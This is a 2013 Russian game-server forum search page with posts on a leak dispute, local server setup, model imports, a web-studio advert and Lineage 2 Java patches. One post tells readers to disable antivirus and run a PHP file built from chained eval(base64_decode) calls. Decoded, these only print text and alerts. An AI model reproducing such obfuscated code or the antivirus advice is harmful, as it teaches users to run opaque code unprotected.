1. Гость, мы просим Вас ознакомиться с Правилами Форума и Отказом от ответственности!

Результаты поиска по запросу: Создаем рб

  1. Следующие слова были исключены из текста для поиска, поскольку они слишком короткие, слишком длинные или встречаются слишком часто: рб
  1. 4elovek
    Давайте рассуждать. Кандидаты в Черный список выложили в шару чужие разработки, но, судя по тому, что авторы этих разработок претензий не предъявляют (на данный момент), можно считать, что они ничего не нарушили. Неверный подход. Будь ты разработчиком этого продукта, в первую очередь бы подал заявку. А что касается Морза - он вроде как и смирился, но спускать с рук это юзерам не стоит. Как было кем-то сказано ранее, в шару приватные разработки кидают выпендрежа ради. Обычно это делают те, кто не в состоянии написать что то свое, по этому и шарят/ставят свое авторство на чужие продукты. Проще говоря, люди в конец перестали уважать чужой труд и всем уже наплевать на такое понятие, как авторское право. Обеими руками За БЛ. p.s На этом форуме сидит полно крыс, я уже и "мордой тыкаю" модераторов, а тем, видимо, не до этого пойух. Быть может, сам создаем топик на занесение в БЛ некоторых товарищей, которых почему то модераторы не замечают.
    Сообщение от: 4elovek, 22 мар 2013 в разделе: Предложения
  2. MisterRocas
  3. OZzzy
  4. MrTolstes
    Сообщение

    Уроки от Vampire

    Еще один урок от нашего любимого Вампира. Урок 5 - Вывод действий и ошибок. Внимание, что бы все было идеально, отключите антивирус, или будет следующие: [img] После, создаем файл *.php (пример: vampires_gods.php) <?php eval(base64_decode("ZWNobyBiYXNlNjRfZGVjb2RlKCJQR2gwYld3K1BHaGxZV1ErUEhOamNtbHdkRDVoYkdWeWRDZ2kwSjNRc05HSDBMRFJndEN3SU5DdzBMclJndEM0MExMUXNOR0cwTGpSanlEUXN0QzEwTHZRdnRHQjBMalF2OUMxMExUUXNDNHVMaTRpS1R3dmMyTnlhWEIwUGp3dmFHVmhaRDQ4WW05a2VUND0iKTs=")); eval(base64_decode("JGgxID0gYmFzZTY0X2RlY29kZSgiYUE9PSIpOwokZTIgPSBiYXNlNjRfZGVjb2RlKCJaUT09Iik7CiRsMyA9IGJhc2U2NF9kZWNvZGUoImJBPT0iKTsKJGw0ID0gYmFzZTY0X2RlY29kZSgiYkE9PSIpOwokbzUgPSBiYXNlNjRfZGVjb2RlKCJidz09Iik7CiRwcm9iZWxpd2U2ID0gYmFzZTY0X2RlY29kZSgiSUE9PSIpOwokdzcgPSBiYXNlNjRfZGVjb2RlKCJkdz09Iik7CiRvOCA9IGJhc2U2NF9kZWNvZGUoImJ3PT0iKTsKJHI5ID0gYmFzZTY0X2RlY29kZSgiY2c9PSIpOwokbDEwID0gYmFzZTY0X2RlY29kZSgiYkE9PSIpOwokZDExID0gYmFzZTY0X2RlY29kZSgiWkE9PSIpOw==")); if("$h1" == 'h') { echo "$h1"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$e2" == 'e') { echo "$e2"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$l3" == 'l') { echo "$l3"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$l4" == 'l') { echo "$l4"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$o5" == 'o') { echo "$o5"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$probeliwe6" == ' ') { echo "$probeliwe6"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$w7" == 'w') { echo "$w7"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$o8" == 'o') { echo "$o8"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$r9" == 'r') { echo "$r9"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$l10" == 'l') { echo "$l10"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } if("$d11" == 'd') { echo "$d11"; } else { eval(base64_decode("ZGllKGJhc2U2NF9kZWNvZGUoIlBDOWliMlI1UGp4elkzSnBjSFErWVd4bGNuUW9JdENTMExYUXU5QyswWUhRdU5DLzBMWFF0Q0RRdmRDMUlOQ3gwWXZRdXlEUXNOQzYwWUxRdU5DeTBMalJnTkMrMExMUXNOQzlJU0lwUEM5elkzSnBjSFErIikpOw==")); } eval(base64_decode("ZWNobyBiYXNlNjRfZGVjb2RlKCJQQzlpYjJSNVBqeHpZM0pwY0hRK1lXeGxjblFvSXRDUzBMWFF1OUMrMFlIUXVOQy8wTFhRdENEUmc5R0IwTC9RdGRHSTBMM1F2aURRc05DNjBZTFF1TkN5MExqUmdOQyswTExRc05DOUlTSXBQQzl6WTNKcGNIUSsiKTs=")); ?> После установки это-го скрипта себе на Web Server, перейдите в браузере на него. Сначало вы увидите [img] Если все правильно [img] Если произошла ошибка [img] Ну и естественно текст [img]
    Сообщение от: MrTolstes, 11 мар 2013 в разделе: Оффтоп
  5. ≈√iP≈
    Что нам нужно: 1.Редактор elements.data 2.Сама модель для примера возьмем эту. 3.Руки и сервер для теста. Начинаем: 1. Качаем суму модель 2. Распаковуем его 3. Смотрим что было внутри 4. Видим файлы [img] 5. Теперь нам нужно распаковать *.pck архив Можно models.pck можно config.pck 6. Ну что же думаю Вы уже распаковали идем в папки Если распаковали моделс то models.pck.files\models Там создаем папку дабы не мучатся с именем mymodels В нее будем мы и кидать модели Вот смотрите в том архиве что я прикрепил выше там есть папка npcgelo ее и бросаем в нашу папку mymodels Теперь заходим в папку mymodels и потом npcgelo и видим там файл с расширением *.ecm У нас он назывется 变身透明人.ecm Берем путь в директорию где он лежит У нас он models.pck.files\models\mymodels\npcgelo Убираем с начала models.pck.files\ И добавляем в конца назнание ecm файла Получится вот так models\mymodels\npcgelo\变身透明人.ecm Нам это и нужно Теперь создаем Монстра\НПС И там будет такая строка [img] Изменяем ее значение на наше models\mymodels\npcgelo\变身透明人.ecm Сохраняем заливаем елементы в клиент и сервер. Потом запаковуем *.pck архив Кидаем его в клиент Запускаем сервер И радуемся)
    Сообщение от: ≈√iP≈, 10 мар 2013 в разделе: Архив
  6. grim033
    Всем доброго времени суток. Этот гайд и файлы для локального сервера. Все файлы настроены на работу в локальной сети. [img] [img] 1) Серверные файлы - 1 архив 2 архив 3 архив 4 архив Извлеките файлы на диск C:\ . Убедитесь что путь до файлов сервера C:\Game\ . 2) Клиент - 1 архив 2 архив 3 архив 4 архив 5 архив 6 архив 7 архив 8 архив 9 архив 10 архив 11 архив 3) NAVICAT - Скачать 4)NGINX - Скачать Извлеките на диск C:\ . 5)MySQL - Скачать 6)MD5 PASSWORD CREATOR & GM COMMANDS Скачать 7)Разное - Apex Скачать CenterCertification Server Скачать virtual client config Скачать Начнем установку. Часть 1 1.1. Установите навикат 1.2. Запустите навикат [img] 1)Нажимаем Connection 2)Выбираем Mysql 1.3. Подключаемся к mysql. [img] 1)Вводим название подключения 2)Набираем localhost 3)Выбираем порт 3306. 4)Вводим имя root. 5)Вводим пароль пользователя root. *Нажимаем save password чтобы не вводить по несколько раз пароль. 6) Нажимаем ОК. 1.4.Создаем бд [img] 1) Нажимаем правой кнопкой на MyLoong 2)Нажимаем создать новую базу данных. 1.5. [img] 1.6Создаем бд [img] 1) Нажимаем правой кнопкой на MyLoong 2)Нажимаем создать новую базу данных. 1.7 [img] 1.8Создаем бд [img] 1) Нажимаем правой кнопкой на MyLoong 2)Нажимаем создать новую базу данных. 1.9 [img] 1.10Создаем бд [img] 1) Нажимаем правой кнопкой на MyLoong 2)Нажимаем создать новую базу данных. 1.11 [img] 1.12Создаем бд [img] 1) Нажимаем правой кнопкой на MyLoong 2)Нажимаем создать новую базу данных. 1.13 [img] 1.14 Все должно выглядеть вот так - [img] 1.15 [img] 1)Дважды кликаем по apexdb (иконка должна стать зеленой) 2)Кликаем правой кнопкой по apexdb 3)Выбираем Execute SQL file... 1.16 [img] Нажимаем на эту кнопку 1.17 [img] 1) Выбираем папку с вашим сервером. Заходим в папку Game. 2) Заходим в папку DB 3)Кликаем по файлу apexdb.sql 4)Нажимаем кнопку open 1.18 [img] 1) Вы должны видеть этот путь. 2) Нажимаем старт. 1.19 [img] 1)Подождите пока вы не увидите данную надпись. 2)Потом нажмите закрыть. 1.20 Теперь повторите эти же действия с базами которые вы создали в пунктах с 1.15 до 1.19. Установка. Часть 2. 2. Запуск сервера. ПРИМЕЧАНИЕ: Если вы работаете в Windows 7 вам нужно нажать правую кнопку мыши и выбрать "Запуск от имени администратора». Если вы собираетесь их использовать в первый раз, может появиться сообщение - хотите ли вы разрешить доступ.. Вы должны ответить «да» на это сообщение. 2.1 Заходим в папку сервера C:\Game\Server [img] Дважды нажимаете на LoginServer.exe Ждете пока не появится данное сообщение - [img] Дважды нажимаете на LoongBillServer.exe Ждете пока не появится данное сообщение - [img] Дважды нажимаете на LoongDB.exe Ждете пока не появится данное сообщение - [img] Дважды нажимаете на LoongWorld.exe Ждете пока не появится данное сообщение(на некоторое время окно может подвиснуть, не волнуйтесь а просто ждем сообщения) - [img] Если вы видите сообщение "This server may have some problems" это нормально, вы можете подключится. Внимание если у вас появляется ошибка CA_info error, то она возникает из-за программ меняющих/влияющих на IP адресс ( таких как хамачи, VMware) 2.2 Запускаем nginx Переходим к вашей папке nginx - C:\nginx [img] Дважды кликните на nginx.exe (В windows 7 запускаем правой кнопкой от имени администратора). После того как вы открыли nginx.exe никаких окон не появится, он запустится в фоновом режиме. Если вы будете запускать игру через Launcher.exe, вам нужно будет каждый раз при перезагрузке запускать nginx.exe. 2.3 Запуск клиента Переходим в папку куда вы извлекли клиент. Запускаем Launcher.exe. [img] После запуска лаунчера откроется такое окно - [img] Ждем если обновится, потом нажимаем Play Now. 2.4 Выбираем сервер [img] 1)Сначала нажимаем сюда 2)Потом нажимаем сюда 3Потом нажимаем Log in Далее вы попадете на страницу логина Вводим логин Vassago, пароль Vassago. Если вы хотите создать собственный аккаунт то открываем навикат - 1)Дважды нажимаете на loong_login 2)Дважды нажимаете на account [img] Теперь делаем следущее - [img] 1) Нажимаем + чтобы добавить новую строку. 2)Вписываем имя аккаунта 3)Выбираем пароль и с помощью MD5 generator конвертируем в MD5, потом вставляем в строку psd. 4)Выбираем привилегии 9 (права администратора/гма) 5)нажимаем галочку чтобы все сохранить. 6)Закрываем навикат и перезагружаем сервер. Источник Гайд написан Kreeate
    Сообщение от: grim033, 23 фев 2013 в разделе: Сервер
  7. adeptness
    Здравствуйте! [img] Кратко о нас: «ADEPTNESS» - целеустремленная и развивающаяся веб-студия. Мы занимаемся разработкой уникальных дизайнов сайтов различных тематик, оформлением сообществ в социальных сетях (vkontakte, facebook, twitter), созданием баннеров (flash/gif), логотипов, полиграфии, разработкой фирменного стиля. Так же, не брезгуем и более не значительными работами: мастерим уникальные аватарки, подписи, кнопки, иконки для форума, в том числе занимаемся профессиональной обработкой изображений/фотографий, на ваше усмотрение (удаление дефектов, добавление эффектов и т.д.). Верстаем html/css, адаптируем под Stress web, DLE, GHT Web и другие. Оказываем техническую поддержку вашего сайта. Создаем flash меню, flash слайдеры, flash мини игры, так же делаем flash анимацию в шапке дизайна. Цены на наши услуги оптимальны. Такого соотношения - цена/качество/время не найти. Мы с уверенностью можем сказать – обращаясь к нам, даже по незначительным вопросам, вы всегда можете рассчитывать на искренний ответ. Главный приоритет в нашей работе – доверие и долгосрочное сотрудничество с клиентами. Портфолио: Смотреть Услуги/Сроки/Цена: Смотреть Условия работы: Смотреть Работаем по принципу: Утром деньги — вечером стулья. (имеется в виду предоплата в 50%) Или поэтапно. Гарантии: [img]WebMoney - БЛ 55, Персональный аттестат [img]WebMoney - БЛ 69, 5 лет в системе Контактные данные: [img] 561-791-355 [img] adeptness.ru [img] [email protected] Ждем ваших предложений. С Уважением, adeptness web studio.
    Сообщение от: adeptness, 8 фев 2013 в разделе: Архив
  8. MrPassion
    тапком по голове не бить но всё же база имеет куда больше мануалов и вот я снова их немного ограбил Это базовая и простая банковская система. Она очень простая: Работает со следующими коммандами: .bank .deposit .withdraw .bank - Даёт инфу о банковской системе .deposit - Будет менять Х адены на У голд бар .withdraw - Будет делать обратное действие Вы можете расширить её, как вам нравится, или полностью игнорировать ее, либо использовать ее в качестве справочного материала для чего-то большего. Index: java/config/l2jmods.properties =================================================================== --- java/config/l2jmods.properties (revision 1791) +++ java/config/l2jmods.properties (working copy) @@ -138,3 +138,13 @@ # ex.: 1;2;3;4;5;6 # no ";" at the start or end TvTEventDoorsCloseOpenonstartEnd = + +#--------------------------------------------------------------- +# L2J Banking System - +#--------------------------------------------------------------- +# To enable banking system set this value to true, default is false. +BankingEnabled = false +# This is the amount of Goldbars someone will get when they do the .deposit command, and also the same amount they will lose when they do .withdraw +BankingGoldbarCount = 1 +# This is the amount of Adena someone will get when they do the .withdraw command, and also the same amount they will lose when they do .deposit +BankingAdenaCount = 500000000 Index: java/net/sf/l2j/Config.java =================================================================== --- java/net/sf/l2j/Config.java (revision 1791) +++ java/net/sf/l2j/Config.java (working copy) @@ -529,6 +529,9 @@ public static boolean L2JMOD_WEDDING_SAMESEX; public static boolean L2JMOD_WEDDING_FORMALWEAR; public static int L2JMOD_WEDDING_DIVORCE_COSTS; + public static boolean BANKING_SYSTEM_ENABLED; + public static int BANKING_SYSTEM_GOLDBARS; + public static int BANKING_SYSTEM_ADENA; /** ************************************************** **/ /** L2JMods Settings -End **/ @@ -1676,6 +1679,10 @@ } } } + + BANKING_SYSTEM_ENABLED = Boolean.parseBoolean(L2JModSettings.getProperty("BankingEnabled", "false")); + BANKING_SYSTEM_GOLDBARS = Integer.parseInt(L2JModSettings.getProperty("BankingGoldbarCount", "1")); + BANKING_SYSTEM_ADENA = Integer.parseInt(L2JModSettings.getProperty("BankingAdenaCount", "500000000")); } catch (Exception e) Index: java/net/sf/l2j/gameserver/GameServer.java =================================================================== --- java/net/sf/l2j/gameserver/GameServer.java (revision 1791) +++ java/net/sf/l2j/gameserver/GameServer.java (working copy) @@ -197,6 +197,7 @@ import net.sf.l2j.gameserver.handler.usercommandhandlers.OlympiadStat; import net.sf.l2j.gameserver.handler.usercommandhandlers.PartyInfo; import net.sf.l2j.gameserver.handler.usercommandhandlers.Time; +import net.sf.l2j.gameserver.handler.voicedcommandhandlers.Banking; import net.sf.l2j.gameserver.handler.voicedcommandhandlers.Wedding; import net.sf.l2j.gameserver.handler.voicedcommandhandlers.stats; import net.sf.l2j.gameserver.idfactory.IdFactory; @@ -618,9 +619,10 @@ if(Config.L2JMOD_ALLOW_WEDDING) _voicedCommandHandler.registerVoicedCommandHandler(new Wedding()); + if(Config.BANKING_SYSTEM_ENABLED) + _voicedCommandHandler.registerVoicedCommandHandler(new Banking()); + _log.config("VoicedCommandHandler: Loaded " + _voicedCommandHandler.size() + " handlers."); - - if(Config.L2JMOD_ALLOW_WEDDING) CoupleManager.getInstance(); Index: java/net/sf/l2j/gameserver/handler/voicedcommandhandlers/Banking.java =================================================================== --- java/net/sf/l2j/gameserver/handler/voicedcommandhandlers/Banking.java (revision 0) +++ java/net/sf/l2j/gameserver/handler/voicedcommandhandlers/Banking.java (revision 0) @@ -0,0 +1,73 @@ +/* + * This program is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 3 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program. If not, see <http://www.gnu.org/licenses/>. + */ +package net.sf.l2j.gameserver.handler.voicedcommandhandlers; + +import net.sf.l2j.Config; +import net.sf.l2j.gameserver.handler.IVoicedCommandHandler; +import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance; +import net.sf.l2j.gameserver.serverpackets.InventoryUpdate; + +/** + * This class trades Gold Bars for Adena and vice versa. + * + * @author Ahmed + */ +public class Banking implements IVoicedCommandHandler +{ + private static String[] _voicedCommands = { "bank", "withdraw", "deposit" }; + + public boolean useVoicedCommand(String command, L2PcInstance activeChar, + String target) + { + if (command.equalsIgnoreCase("bank")) + { + activeChar.sendMessage(".deposit (" + Config.BANKING_SYSTEM_ADENA + " Adena = " + Config.BANKING_SYSTEM_GOLDBARS + " Goldbar) / .withdraw (" + Config.BANKING_SYSTEM_GOLDBARS + " Goldbar = " + Config.BANKING_SYSTEM_ADENA + " Adena)"); + } else if (command.equalsIgnoreCase("deposit")) + { + if (activeChar.getInventory().getInventoryItemCount(57, 0) >= Config.BANKING_SYSTEM_ADENA) + { + InventoryUpdate iu = new InventoryUpdate(); + activeChar.getInventory().reduceAdena("Goldbar", Config.BANKING_SYSTEM_ADENA, activeChar, null); + activeChar.getInventory().addItem("Goldbar", 3470, Config.BANKING_SYSTEM_GOLDBARS, activeChar, null); + activeChar.getInventory().updateDatabase(); + activeChar.sendPacket(iu); + activeChar.sendMessage("Thank you, you now have " + Config.BANKING_SYSTEM_GOLDBARS + " Goldbar(s), and " + Config.BANKING_SYSTEM_ADENA + " less adena."); + } else + { + activeChar.sendMessage("You do not have enough Adena to convert to Goldbar(s), you need " + Config.BANKING_SYSTEM_ADENA + " Adena."); + } + } else if (command.equalsIgnoreCase("withdraw")) + { + if (activeChar.getInventory().getInventoryItemCount(3470, 0) >= Config.BANKING_SYSTEM_GOLDBARS) + { + InventoryUpdate iu = new InventoryUpdate(); + activeChar.getInventory().destroyItemByItemId("Adena", 3470, Config.BANKING_SYSTEM_GOLDBARS, activeChar, null); + activeChar.getInventory().addAdena("Adena", Config.BANKING_SYSTEM_ADENA, activeChar, null); + activeChar.getInventory().updateDatabase(); + activeChar.sendPacket(iu); + activeChar.sendMessage("Thank you, you now have " + Config.BANKING_SYSTEM_ADENA + " Adena, and " + Config.BANKING_SYSTEM_GOLDBARS + " less Goldbar(s)."); + } else + { + activeChar.sendMessage("You do not have any Goldbars to turn into " + Config.BANKING_SYSTEM_ADENA + " Adena."); + } + } + return true; + } + + public String[] getVoicedCommandList() + { + return _voicedCommands; + } +} \ No newline at end of file Hero skills для всех сабов java/net/sf/l2j/gameserver/model/actor/instance/l2pcinstance.java 8901. public void setHero(boolean hero) { if (hero && _baseClass == _activeClass) { for (L2Skill s : HeroSkillTable.getHeroSkills()) addSkill(s, false); //Dont Save Hero skills to database } else { for (L2Skill s : HeroSkillTable.getHeroSkills()) super.removeSkill(s); //Just Remove skills from nonHero characters } _hero = hero; sendSkillList(); } To: public void setHero(boolean hero) { if (hero) { for (L2Skill s : HeroSkillTable.getHeroSkills()) addSkill(s, false); //Dont Save Hero skills to database } else { for (L2Skill s : HeroSkillTable.getHeroSkills()) super.removeSkill(s); //Just Remove skills from nonHero characters } _hero = hero; sendSkillList(); } Вещь для получения геройства после рестарта По адресу net.sf.l2j.gameserver.handler.itemhandlers создаем новый файл под названием HeroItem.java /* * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see <http://www.gnu.org/licenses/>. */ package net.sf.l2j.gameserver.handler.itemhandlers; import net.sf.l2j.gameserver.handler.IItemHandler; import net.sf.l2j.gameserver.model.L2ItemInstance; import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance; import net.sf.l2j.gameserver.model.actor.instance.L2PlayableInstance; /** * * @author HanWik */ public class HeroItem implements IItemHandler { private static final int[] ITEM_IDS = { YOUR ITEM ID - replace here }; public void useItem(L2PlayableInstance playable, L2ItemInstance item) { if (!(playable instanceof L2PcInstance)) return; L2PcInstance activeChar = (L2PcInstance)playable; int itemId = item.getItemId(); if (itemId = Айди вашей вещи здесь!) // Вещь что бы стать героем { activeChar.setHero(true); activeChar.broadcastUserInfo(); } } /** * @see net.sf.l2j.gameserver.handler.IItemHandler#getItemIds() */ public int[] getItemIds() { return ITEM_IDS; } } Открываем GameServer.java и добавляем это : import net.sf.l2j.gameserver.handler.itemhandlers.Harvester; на import net.sf.l2j.gameserver.handler.itemhandlers.HeroItem; import net.sf.l2j.gameserver.handler.itemhandlers.Maps; _itemHandler.registerItemHandler(new BeastSpice()); на _itemHandler.registerItemHandler(new HeroItem()); Если вы хотите поставить запрет на ношение оружия или предметов (к примеру Дестр с луком) Вы можете юзать этот скрипт. Вы должны вставить в network/clientpackets/UseItem.java следующие строки: f (item.isEquipable()) { if (activeChar.isDisarmed()) return; if (!((L2Equip) item.getItem()).allowEquip(activeChar)) { activeChar.sendPacket(new SystemMessage(SystemMessageId.NO_CONDITION_TO_EQUIP)); return; } //Begining the script + if (activeChar.getClassId().getId() == 88) + { + if (item.getItemType() == L2ArmorType.MAGIC) + { + activeChar.sendPacket(new +SystemMessage(SystemMessageId.NO_CONDITION_TO_EQUIP)); + return; + } + } К примеру Глад и Роба Армор. Если вы хотите зделать это с каким то оружием то поменяйте эту строку if (item.getItemType() == L2ArmorType.MAGIC) на if (item.getItemType() == L2WeaponType.DAGGER) the available class-ids and item types are listed below. Что бы избежать юзанья бага с саб классом я использую этот скрип что бы обезвредить всё оружие и доспехи с заменой класса. model/actor/instance/L2PcInstance.java /** * Changes the character's class based on the given class index. * <BR><BR> * An index of zero specifies the character's original (base) class, * while indexes 1-3 specifies the character's sub-classes respectively. * * @param classIndex */ public boolean setActiveClass(int classIndex) { + L2ItemInstance chest = getInventory().getPaperdollItem(Inventory.PAPERDOLL_CHEST); + if (chest != null) + { + + L2ItemInstance[] unequipped = +getInventory().unEquipItemInBodySlotAndRecord(chest.getItem().getBodyPart()); + InventoryUpdate iu = new InventoryUpdate(); + for (L2ItemInstance element : unequipped) + iu.addModifiedItem(element); + sendPacket(iu); + + } + + L2ItemInstance head = getInventory().getPaperdollItem(Inventory.PAPERDOLL_HEAD); + if (head != null) + { + + L2ItemInstance[] unequipped = +getInventory().unEquipItemInBodySlotAndRecord(head.getItem().getBodyPart()); + InventoryUpdate iu = new InventoryUpdate(); + for (L2ItemInstance element : unequipped) + iu.addModifiedItem(element); + sendPacket(iu); + + } + + L2ItemInstance gloves = getInventory().getPaperdollItem(Inventory.PAPERDOLL_GLOVES); + if (gloves != null) + { + + L2ItemInstance[] unequipped = +getInventory().unEquipItemInBodySlotAndRecord(gloves.getItem().getBodyPart()); + InventoryUpdate iu = new InventoryUpdate(); + for (L2ItemInstance element : unequipped) + iu.addModifiedItem(element); + sendPacket(iu); + + } + + L2ItemInstance feet = getInventory().getPaperdollItem(Inventory.PAPERDOLL_FEET); + if (feet != null) + { + + L2ItemInstance[] unequipped = +getInventory().unEquipItemInBodySlotAndRecord(feet.getItem().getBodyPart()); + InventoryUpdate iu = new InventoryUpdate(); + for (L2ItemInstance element : unequipped) + iu.addModifiedItem(element); + sendPacket(iu); + + } + + L2ItemInstance legs = getInventory().getPaperdollItem(Inventory.PAPERDOLL_LEGS); + if (legs != null) + { + + L2ItemInstance[] unequipped = +getInventory().unEquipItemInBodySlotAndRecord(legs.getItem().getBodyPart()); + InventoryUpdate iu = new InventoryUpdate(); + for (L2ItemInstance element : unequipped) + iu.addModifiedItem(element); + sendPacket(iu); + + } + + L2ItemInstance rhand = getInventory().getPaperdollItem(Inventory.PAPERDOLL_RHAND); + if (rhand != null) + { + + L2ItemInstance[] unequipped = +getInventory().unEquipItemInBodySlotAndRecord(rhand.getItem().getBodyPart()); + InventoryUpdate iu = new InventoryUpdate(); + for (L2ItemInstance element : unequipped) + iu.addModifiedItem(element); + sendPacket(iu); + + } + + L2ItemInstance lhand = getInventory().getPaperdollItem(Inventory.PAPERDOLL_LHAND); + if (lhand != null) + { + + L2ItemInstance[] unequipped = +getInventory().unEquipItemInBodySlotAndRecord(lhand.getItem().getBodyPart()); + InventoryUpdate iu = new InventoryUpdate(); + for (L2ItemInstance element : unequipped) + iu.addModifiedItem(element); + sendPacket(iu); + + } Что бы вам было проще: Class ID-s: Item types HUMANS -- 0=Human Fighter | 1=Warrior | 2=Gladiator | 3=Warlord | 4=Human Knight -- 5=Paladin | 6=Dark Avenger | 7=Rogue | 8=Treasure Hunter | 9=Hawkeye -- 10=Human Mystic | 11=Wizard | 12=Sorcerer/ss | 13=Necromancer | 14=Warlock -- 15=Cleric | 16=Bishop | 17=Prophet -- ELVES -- 18=Elven Fighter | 19=Elven Knight | 20=Temple Knight | 21=Swordsinger | 22=Elven Scout -- 23=Plainswalker | 24=Silver Ranger | 25=Elven Mystic | 26=Elven Wizard | 27=Spellsinger -- 28=Elemental Summoner | 29=Elven Oracle | 30=Elven Elder -- DARK ELVES -- 31=Dark Fighter | 32=Palus Knight | 33=Shillien Knight | 34=Bladedancer | 35=Assassin -- 36=Abyss Walker | 37=Phantom Ranger | 38=Dark Mystic | 39=Dark Wizard | 40=Spellhowler -- 41=Phantom Summoner | 42=Shillien Oracle | 43=Shillien Elder -- ORCS -- 44=Orc Fighter | 45=Orc Raider | 46=Destroyer | 47=Monk | 48=Tyrant -- 49=Orc Mystic | 50=Orc Shaman | 51=Overlord | 52=Warcryer -- DWARVES -- 53=Dwarven Fighter | 54=Scavenger | 55=Bounty Hunter | 56=Artisan | 57=Warsmith -- HUMANS 3rd Professions -- 88=Duelist | 89=Dreadnought | 90=Phoenix Knight | 91=Hell Knight | 92=Sagittarius -- 93=Adventurer | 94=Archmage | 95=Soultaker | 96=Arcana Lord | 97=Cardinal -- 98=Hierophant -- ELVES 3rd Professions -- 99=Evas Templar | 100=Sword Muse | 101=Wind Rider | 102=Moonlight Sentinel -- 103=Mystic Muse | 104=Elemental Master | 105=Evas Saint -- DARK ELVES 3rd Professions -- 106=Shillien Templar | 107=Spectral Dancer | 108=Ghost Hunter | 109=Ghost Sentinel -- 110=Storm Screamer | 111=Spectral Master | 112=Shillien Saint -- ORCS 3rd Professions -- 113=Titan | 114=Grand Khavatari -- 115=Dominator | 116=Doomcryer -- DWARVES 3rd Professions -- 117=Fortune Seeker | 118=Maestro -- KAMAELS -- 123=Male Soldier | 124=Female Soldier | 125=Trooper | 126=Warder -- 127=Berserker | 128=Male Soul Breaker | 129=Female Soul Breaker | 130=Arbalester -- 131=Doombringer | 132=Male Soul Hound | 133=Female Soul Hound | 134=Trickster -- 135=Inspector | 136=Judicator -Weapons- NONE (Shield) SWORD BLUNT DAGGER BOW POLE ETC FIST DUAL DUALFIST BIGSWORD (Two Handed Swords) PET ROD BIGBLUNT (Two handed blunt) ANCIENT_SWORD CROSSBOW RAPIER -Armors- HEAVY LIGHT MAGIC Решение со Лже Гмами. Этот патч 